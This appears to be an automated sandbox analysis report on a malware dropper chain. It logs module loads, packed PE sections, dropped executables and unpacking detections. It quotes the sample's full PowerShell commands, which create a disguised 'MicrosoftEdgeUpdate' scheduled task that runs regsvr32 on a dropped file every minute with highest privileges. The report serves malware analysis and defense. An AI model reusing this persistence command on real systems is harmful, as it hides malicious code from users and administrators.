Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	Section loaded: explorerframe.dll
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	Section loaded: sfc.dll
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	Section loaded: sfc_os.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: aclayers.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc_os.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: aclayers.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc_os.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: cabinet.dll
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: textinputframework.dll
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coremessaging.dll
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\764661\Macromedia.com	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\764661\Macromedia.com	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\764661\Macromedia.com	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\764661\Macromedia.com	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\764661\Macromedia.com	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\764661\Macromedia.com	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\764661\Macromedia.com	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\764661\Macromedia.com	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\764661\Macromedia.com	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\764661\Macromedia.com	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\764661\Macromedia.com	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\764661\Macromedia.com	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\764661\Macromedia.com	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\764661\Macromedia.com	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\764661\Macromedia.com	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\764661\Macromedia.com	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\764661\Macromedia.com	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\764661\Macromedia.com	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\764661\Macromedia.com	Section loaded: rasadhlp.dll
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll

Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: Sheets.lnk.53.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.53.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.53.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.53.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Google Drive.lnk.53.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.53.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp

Window found: window name: TMainForm

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp

Registry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Ratty Jellyfish_is1

Source: oaBqkImU6R.exe

Static file information: File size 1864192 > 1048576

Source: oaBqkImU6R.exe

Static PE information: Raw size of yeeubcqh is bigger than: 0x100000 < 0x19aa00

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Unpacked PE file: 1.2.oaBqkImU6R.exe.1c0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;yeeubcqh:EW;cftsuuuo:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;yeeubcqh:EW;cftsuuuo:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Unpacked PE file: 3.2.PT6MNTDM2CSK3U9W2989W1J.exe.900000.0.unpack :EW;.rsrc:W;.idata :W;pwdhnagr:EW;yokffkgo:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;pwdhnagr:EW;yokffkgo:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 4.2.skotes.exe.c50000.0.unpack :EW;.rsrc:W;.idata :W;pwdhnagr:EW;yokffkgo:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;pwdhnagr:EW;yokffkgo:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 5.2.skotes.exe.c50000.0.unpack :EW;.rsrc:W;.idata :W;pwdhnagr:EW;yokffkgo:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;pwdhnagr:EW;yokffkgo:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Unpacked PE file: 23.2.f10455927a.exe.190000.0.unpack :EW;.rsrc:W;.idata :W; :EW;sbmniyjq:EW;evwmhiov:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;sbmniyjq:EW;evwmhiov:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 24.2.skotes.exe.c50000.0.unpack :EW;.rsrc:W;.idata :W;pwdhnagr:EW;yokffkgo:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;pwdhnagr:EW;yokffkgo:EW;.taggant:EW;

Suspicious powershell command line found

Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "if (Get-ScheduledTask \| Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:SYNC C:\Users\user\AppData\Roaming\uxtheme_2.drv' }) { exit 0 } else { exit 1 }"
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/S /i:SYNC C:\Users\user\AppData\Roaming\uxtheme_2.drv\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{6D027233-3291-42EE-96A1-B6EF95549711}' -Description 'MicrosoftEdgeUpdateTaskMachineUA' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0) -RunLevel Highest"
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "if (Get-ScheduledTask \| Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:SYNC C:\Users\user\AppData\Roaming\uxtheme_2.drv' }) { exit 0 } else { exit 1 }"
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/S /i:SYNC C:\Users\user\AppData\Roaming\uxtheme_2.drv\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{6D027233-3291-42EE-96A1-B6EF95549711}' -Description 'MicrosoftEdgeUpdateTaskMachineUA' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0) -RunLevel Highest"

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: e18d636f08.exe.4.dr	Static PE information: real checksum: 0xdfde2 should be: 0xd54e7
Source: random[1].exe.4.dr	Static PE information: real checksum: 0xfd7f5 should be: 0xfdb14
Source: 8b5cf17642.tmp.30.dr	Static PE information: real checksum: 0x0 should be: 0x122532
Source: 8b5cf17642.tmp.26.dr	Static PE information: real checksum: 0x0 should be: 0x122532
Source: is-0PAAE.tmp.31.dr	Static PE information: real checksum: 0x319701 should be: 0x30ff91
Source: ffb3ad5f2d.exe.4.dr	Static PE information: real checksum: 0xfd7f5 should be: 0xfdb14
Source: oaBqkImU6R.exe	Static PE information: real checksum: 0x1c9a56 should be: 0x1c8d58
Source: _isdecmp.dll.27.dr	Static PE information: real checksum: 0x0 should be: 0x5528
Source: random[1].exe0.4.dr	Static PE information: real checksum: 0x1dd6a3 should be: 0x1dbe52
Source: PT6MNTDM2CSK3U9W2989W1J.exe.1.dr	Static PE information: real checksum: 0x2d402f should be: 0x2e154b
Source: _setup64.tmp.27.dr	Static PE information: real checksum: 0x0 should be: 0x8546
Source: random[1].exe1.4.dr	Static PE information: real checksum: 0x0 should be: 0x16fc42
Source: _setup64.tmp.31.dr	Static PE information: real checksum: 0x0 should be: 0x8546
Source: is-4HD48.tmp.31.dr	Static PE information: real checksum: 0x0 should be: 0x1308eb
Source: 8b5cf17642.exe.4.dr	Static PE information: real checksum: 0x0 should be: 0x16fc42
Source: _isdecmp.dll.31.dr	Static PE information: real checksum: 0x0 should be: 0x5528
Source: skotes.exe.3.dr	Static PE information: real checksum: 0x2d402f should be: 0x2e154b
Source: random[2].exe.4.dr	Static PE information: real checksum: 0xdfde2 should be: 0xd54e7
Source: f10455927a.exe.4.dr	Static PE information: real checksum: 0x1dd6a3 should be: 0x1dbe52

Source: oaBqkImU6R.exe	Static PE information: section name:
Source: oaBqkImU6R.exe	Static PE information: section name: .idata
Source: oaBqkImU6R.exe	Static PE information: section name:
Source: oaBqkImU6R.exe	Static PE information: section name: yeeubcqh
Source: oaBqkImU6R.exe	Static PE information: section name: cftsuuuo
Source: oaBqkImU6R.exe	Static PE information: section name: .taggant
Source: PT6MNTDM2CSK3U9W2989W1J.exe.1.dr	Static PE information: section name:
Source: PT6MNTDM2CSK3U9W2989W1J.exe.1.dr	Static PE information: section name: .idata
Source: PT6MNTDM2CSK3U9W2989W1J.exe.1.dr	Static PE information: section name: pwdhnagr
Source: PT6MNTDM2CSK3U9W2989W1J.exe.1.dr	Static PE information: section name: yokffkgo
Source: PT6MNTDM2CSK3U9W2989W1J.exe.1.dr	Static PE information: section name: .taggant
Source: skotes.exe.3.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name: .idata
Source: skotes.exe.3.dr	Static PE information: section name: pwdhnagr
Source: skotes.exe.3.dr	Static PE information: section name: yokffkgo
Source: skotes.exe.3.dr	Static PE information: section name: .taggant
Source: random[1].exe0.4.dr	Static PE information: section name:
Source: random[1].exe0.4.dr	Static PE information: section name: .idata
Source: random[1].exe0.4.dr	Static PE information: section name:
Source: random[1].exe0.4.dr	Static PE information: section name: sbmniyjq
Source: random[1].exe0.4.dr	Static PE information: section name: evwmhiov
Source: random[1].exe0.4.dr	Static PE information: section name: .taggant
Source: f10455927a.exe.4.dr	Static PE information: section name:
Source: f10455927a.exe.4.dr	Static PE information: section name: .idata
Source: f10455927a.exe.4.dr	Static PE information: section name:
Source: f10455927a.exe.4.dr	Static PE information: section name: sbmniyjq
Source: f10455927a.exe.4.dr	Static PE information: section name: evwmhiov
Source: f10455927a.exe.4.dr	Static PE information: section name: .taggant
Source: is-0PAAE.tmp.31.dr	Static PE information: section name: .xdata
Source: is-0PAAE.tmp.31.dr	Static PE information: section name: /4
Source: is-0PAAE.tmp.31.dr	Static PE information: section name: /19
Source: is-0PAAE.tmp.31.dr	Static PE information: section name: /35
Source: is-0PAAE.tmp.31.dr	Static PE information: section name: /47
Source: is-0PAAE.tmp.31.dr	Static PE information: section name: /61
Source: is-0PAAE.tmp.31.dr	Static PE information: section name: /73
Source: is-0PAAE.tmp.31.dr	Static PE information: section name: /86
Source: is-0PAAE.tmp.31.dr	Static PE information: section name: /97
Source: is-0PAAE.tmp.31.dr	Static PE information: section name: /113
Source: is-0PAAE.tmp.31.dr	Static PE information: section name: /127
Source: is-0PAAE.tmp.31.dr	Static PE information: section name: /143
Source: is-0PAAE.tmp.31.dr	Static PE information: section name: /159

Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Code function: 1_3_013F8B2E pushfd ; iretd	1_3_013F8B2D
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Code function: 1_3_013F8B2E pushfd ; iretd	1_3_013F8B2D
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Code function: 1_3_013F8B2E pushfd ; iretd	1_3_013F8B2D
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Code function: 1_3_013F8B0A pushfd ; iretd	1_3_013F8B2D
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Code function: 1_3_013F8B0A pushfd ; iretd	1_3_013F8B2D
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Code function: 1_3_013F8B0A pushfd ; iretd	1_3_013F8B2D
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Code function: 1_3_013EC368 push 68013EC3h; ret	1_3_013EC36D
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Code function: 1_3_013EC368 push 68013EC3h; ret	1_3_013EC36D
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Code function: 1_3_013ECB68 push 68013ECBh; retf	1_3_013ECB6D
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Code function: 1_3_013ECB68 push 68013ECBh; retf	1_3_013ECB6D
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Code function: 1_3_013F6367 push cs; iretd	1_3_013F6368
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Code function: 1_3_013F6367 push cs; iretd	1_3_013F6368
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Code function: 1_3_013F6367 push cs; iretd	1_3_013F6368
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Code function: 1_3_013EC364 pushad ; ret	1_3_013EC365
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Code function: 1_3_013EC364 pushad ; ret	1_3_013EC365
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Code function: 1_3_013ECB64 pushad ; retf	1_3_013ECB65
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Code function: 1_3_013ECB64 pushad ; retf	1_3_013ECB65
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Code function: 1_3_013ECB60 pushad ; retf	1_3_013ECB61
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Code function: 1_3_013ECB60 pushad ; retf	1_3_013ECB61
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Code function: 1_3_013EC360 pushad ; ret	1_3_013EC361
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Code function: 1_3_013EC360 pushad ; ret	1_3_013EC361
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Code function: 1_3_013EC354 push eax; ret	1_3_013EC355
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Code function: 1_3_013EC354 push eax; ret	1_3_013EC355
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Code function: 1_3_013ECB54 push eax; retf	1_3_013ECB55
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Code function: 1_3_013ECB54 push eax; retf	1_3_013ECB55
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Code function: 1_3_013EC350 push eax; ret	1_3_013EC351
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Code function: 1_3_013EC350 push eax; ret	1_3_013EC351
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Code function: 1_3_013ECB50 push eax; retf	1_3_013ECB51
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Code function: 1_3_013ECB50 push eax; retf	1_3_013ECB51
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Code function: 1_3_013F61FF push ds; retf	1_3_013F6200
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Code function: 1_3_013F61FF push ds; retf	1_3_013F6200

Source: oaBqkImU6R.exe	Static PE information: section name: entropy: 7.986142886207645
Source: oaBqkImU6R.exe	Static PE information: section name: yeeubcqh entropy: 7.9533420266235835
Source: PT6MNTDM2CSK3U9W2989W1J.exe.1.dr	Static PE information: section name: entropy: 7.9828189730038845
Source: skotes.exe.3.dr	Static PE information: section name: entropy: 7.9828189730038845
Source: random[1].exe0.4.dr	Static PE information: section name: entropy: 7.976700748379355
Source: random[1].exe0.4.dr	Static PE information: section name: sbmniyjq entropy: 7.954430196738952
Source: f10455927a.exe.4.dr	Static PE information: section name: entropy: 7.976700748379355
Source: f10455927a.exe.4.dr	Static PE information: section name: sbmniyjq entropy: 7.954430196738952

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\764661\Macromedia.com	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\764661\Macromedia.com	File created: C:\Users\user\AppData\Local\GuardTech Solutions\AchillesGuard.com	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	File created: C:\Users\user\AppData\Local\Temp\is-Q515F.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1062804001\8b5cf17642.exe	File created: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	File created: C:\Users\user\AppData\Roaming\uxtheme_2.drv (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	File created: C:\Users\user\AppData\Local\Temp\is-7HJN1.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\764661\Macromedia.com	File created: C:\Users\user\AppData\Local\GuardTech Solutions\AchillesGuard.com	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1062804001\8b5cf17642.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\random[1].exe	Jump to dropped file
